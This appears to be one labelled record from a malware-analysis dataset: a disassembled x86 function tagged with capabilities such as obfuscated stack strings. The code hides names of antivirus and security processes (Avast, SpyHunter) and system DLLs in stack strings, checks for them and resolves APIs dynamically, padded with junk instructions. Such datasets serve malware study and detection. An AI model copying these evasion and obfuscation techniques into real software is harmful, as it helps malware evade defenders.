Function at 0x10006210
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100537c0
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
cmp byte [0x1005fb04], 0
jne 0x1000630f
cmp byte [0x1005fb05], 0
jne 0x1000630f
push 0x104
lea eax, [ebp - 0x234]
mov dword [ebp - 0x23c], SysStringLen
push 0
push eax
mov dword [ebp - 4], 0
call fcn.10012c40
add esp, 0xc
lea eax, [ebp - 0x234]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0xbf], 0
movq qword [ebp - 0xc7], xmm0
lea eax, [ebp - 0xd8]
movups xmmword [ebp - 0xd7], xmm0
push eax
movaps xmm0, xmmword [0x10054730]
lea eax, [ebp - 0x234]
mov dword [ebp - 0xbe], 0x6e614d
push eax
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0x6567616e
mov dword [ebp - 0xc4], 0x61545c72
mov word [ebp - 0xc0], 0x6b73
mov byte [ebp - 0xbb], 0
call fcn.10012da0
add esp, 8
test eax, eax
je 0x1000632b
mov byte [0x1005fb05], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
push eax
xor eax, edx
xor eax, eax
sbb eax, esi
xor eax, esp
xor eax, edx
sbb eax, eax
pop eax
lea eax, [ebp - 0x3c]
mov word [ebp - 0x33], 0
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x3b], xmm0
lea eax, [ebp - 0x234]
mov dword [ebp - 0x34], 0x726570
push eax
mov dword [ebp - 0x3c], 0x546e7953
mov dword [ebp - 0x38], 0x6c654850
mov byte [ebp - 0x31], 0
call fcn.10012da0
add esp, 8
test eax, eax
jne 0x1000639e
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x23c], eax
cmp eax, 0x7fffffff
je 0x1000639e
push 0xf
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xorps xmm0, xmm0
mov byte [ebp - 0x17], 0
movq qword [ebp - 0x1f], xmm0
movups xmmword [ebp - 0xf3], xmm0
mov dword [ebp - 0x10f], 0
movq qword [ebp - 0xe3], xmm0
movups xmmword [ebp - 0x11f], xmm0
mov word [ebp - 0xf7], 0
movups xmmword [ebp - 0x107], xmm0
mov byte [ebp - 0xf5], 0
movups xmmword [ebp - 0xb7], xmm0
mov dword [ebp - 0xa7], 0
mov byte [ebp - 0xa3], 0
movq qword [ebp - 0x2f], xmm0
mov dword [ebp - 0x27], 0
movq qword [ebp - 0x53], xmm0
mov word [ebp - 0x4b], 0
movq qword [ebp - 0x47], xmm0
mov byte [ebp - 0x3f], 0
movq qword [ebp - 0x130], xmm0
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x124], 0
movq qword [ebp - 0x73], xmm0
mov dword [ebp - 0x6b], 0
movq qword [ebp - 0x63], xmm0
mov dword [ebp - 0x5b], 0
mov dword [ebp - 0x90], 0x6c707865
mov dword [ebp - 0x8c], 0x7265726f
mov dword [ebp - 0x88], 0x6578652e
mov byte [ebp - 0x84], 0
mov dword [ebp - 0xa0], 0x6e72654b
mov dword [ebp - 0x9c], 0x32336c65
mov dword [ebp - 0x98], 0x6c6c642e
mov byte [ebp - 0x94], 0
mov dword [ebp - 0x20], 0x4c44544e
mov dword [ebp - 0x1c], 0x4c442e4c
mov word [ebp - 0x18], 0x4c
push esi
sbb esi, esi
sbb esi, esp
add esi, edx
sbb esi, eax
pop esi
movaps xmm0, xmmword [0x100547f0]
movups xmmword [ebp - 0xf4], xmm0
mov dword [ebp - 0xe4], 0x616d726f
movaps xmm0, xmmword [0x100548d0]
mov dword [ebp - 0xe0], 0x6e6f6974
mov byte [ebp - 0xdc], 0
movups xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0x110], 0x656c6946
mov byte [ebp - 0x10c], 0
push ebp
add ebp, edx
sbb ebp, eax
sbb ebp, esi
add ebp, esp
mov ebp, 0x5109c27e
nop
pop ebp
movaps xmm0, xmmword [0x100547d0]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0x79654b
movaps xmm0, xmmword [0x100548b0]
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa8], 0x78457375
mov word [ebp - 0xa4], 0x41
push esi
sbb esi, edx
add esi, esp
sbb esi, esi
sbb esi, eax
mov esi, 0x20456c95
pop esi
mov dword [ebp - 0x30], 0x61766441
mov dword [ebp - 0x2c], 0x32336970
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x64], 0x6f726473
mov dword [ebp - 0x60], 0x6c61746f
mov dword [ebp - 0x5c], 0x72657a79
mov byte [ebp - 0x58], 0
mov dword [ebp - 0x54], 0x63737661
mov dword [ebp - 0x50], 0x652e6e61
mov word [ebp - 0x4c], 0x6578
mov byte [ebp - 0x4a], 0
mov dword [ebp - 0x74], 0x73617661
mov dword [ebp - 0x70], 0x63767374
mov dword [ebp - 0x6c], 0x6578652e
mov byte [ebp - 0x68], 0
push ebp
mov ebp, 0x3383d52a
xor ebp, edx
nop
pop ebp
mov dword [ebp - 0x48], 0x68797073
mov dword [ebp - 0x44], 0x65746e75
push dword [0x1005fb08]
mov word [ebp - 0x40], 0x72
call fcn.10002050
add esp, 4
lea eax, [ebp - 0x234]
push eax
call fcn.1002e562
lea eax, [ebp - 0x130]
push eax
call fcn.10002020
add esp, 8
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10012da0
mov esi, eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10012da0
test eax, eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x234]
setne byte [ebp - 0x237]
push eax
call fcn.10012da0
test eax, eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x234]
setne byte [ebp - 0x235]
push eax
call fcn.10012da0
test eax, eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x234]
setne byte [ebp - 0x236]
push eax
call fcn.10012da0
test eax, eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x234]
setne byte [ebp - 0x238]
push eax
call fcn.10012da0
add esp, 0x30
test eax, eax
setne byte [0x1005fb06]
test esi, esi
jne 0x100067d7
cmp byte [ebp - 0x235], 0
jne 0x100067d7
cmp byte [ebp - 0x236], 0
jne 0x100067d7
cmp byte [ebp - 0x237], 0
jne 0x100067d7
cmp byte [ebp - 0x238], 0
jne 0x100067d7
push eax
mov eax, 0x496d93bb
mov eax, 0x334d6907
xor eax, esp
pop eax
lea eax, [ebp - 0xf4]
push 0x1000b150
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb14], eax
lea eax, [ebp - 0x120]
push 0x1000a9f0
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb18], eax
cmp byte [0x100611bd], 0
jne 0x1000673d
push 0x1000b120
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb1c], eax
jmp 0x100067e5
push 0x100099f0
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb34], eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 0xa4], 0x57
push 0x10009f00
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb30], eax
push eax
mov eax, 0xac6724e2
mov eax, 0x25d5883d
nop
pop eax
lea eax, [ebp - 0xb8]
mov word [ebp - 0xa6], 0x41
push 0x10009520
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb28], eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 0xa6], 0x57
push 0x1000a430
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001020
add esp, 0xc
mov dword [0x1005fb2c], eax
jmp 0x100067e5
push eax
mov eax, 0x232b3541
sbb eax, esp
xor eax, eax
and eax, ebp
nop
pop eax
push 0x1000ad90
lea eax, [ebp - 0x80]
mov dword [ebp - 0x80], 0x6e65704f
push eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x7c], 0x636f7250
push eax
mov dword [ebp - 0x78], 0x737365
call fcn.10001020
mov esi, dword [ebp - 0x23c]
add esp, 0xc
mov dword [0x1005fb24], eax
mov eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, 0xfffffffc
jne 0x10006833
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp esi, 0x7fffffff
je 0x10006849
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp dword [0x1005fb24], 0
jne 0x1000688b
cmp dword [0x1005fb1c], 0
jne 0x1000688b
cmp dword [0x1005fb18], 0
jne 0x1000688b
cmp dword [0x1005fb14], 0
jne 0x1000688b
cmp dword [0x1005fb28], 0
jne 0x1000688b
cmp dword [0x1005fb2c], 0
jne 0x1000688b
xor al, al
mov byte [0x1005fb04], al
jmp 0x1000630f
mov al, 1
mov byte [0x1005fb04], al
jmp 0x1000630f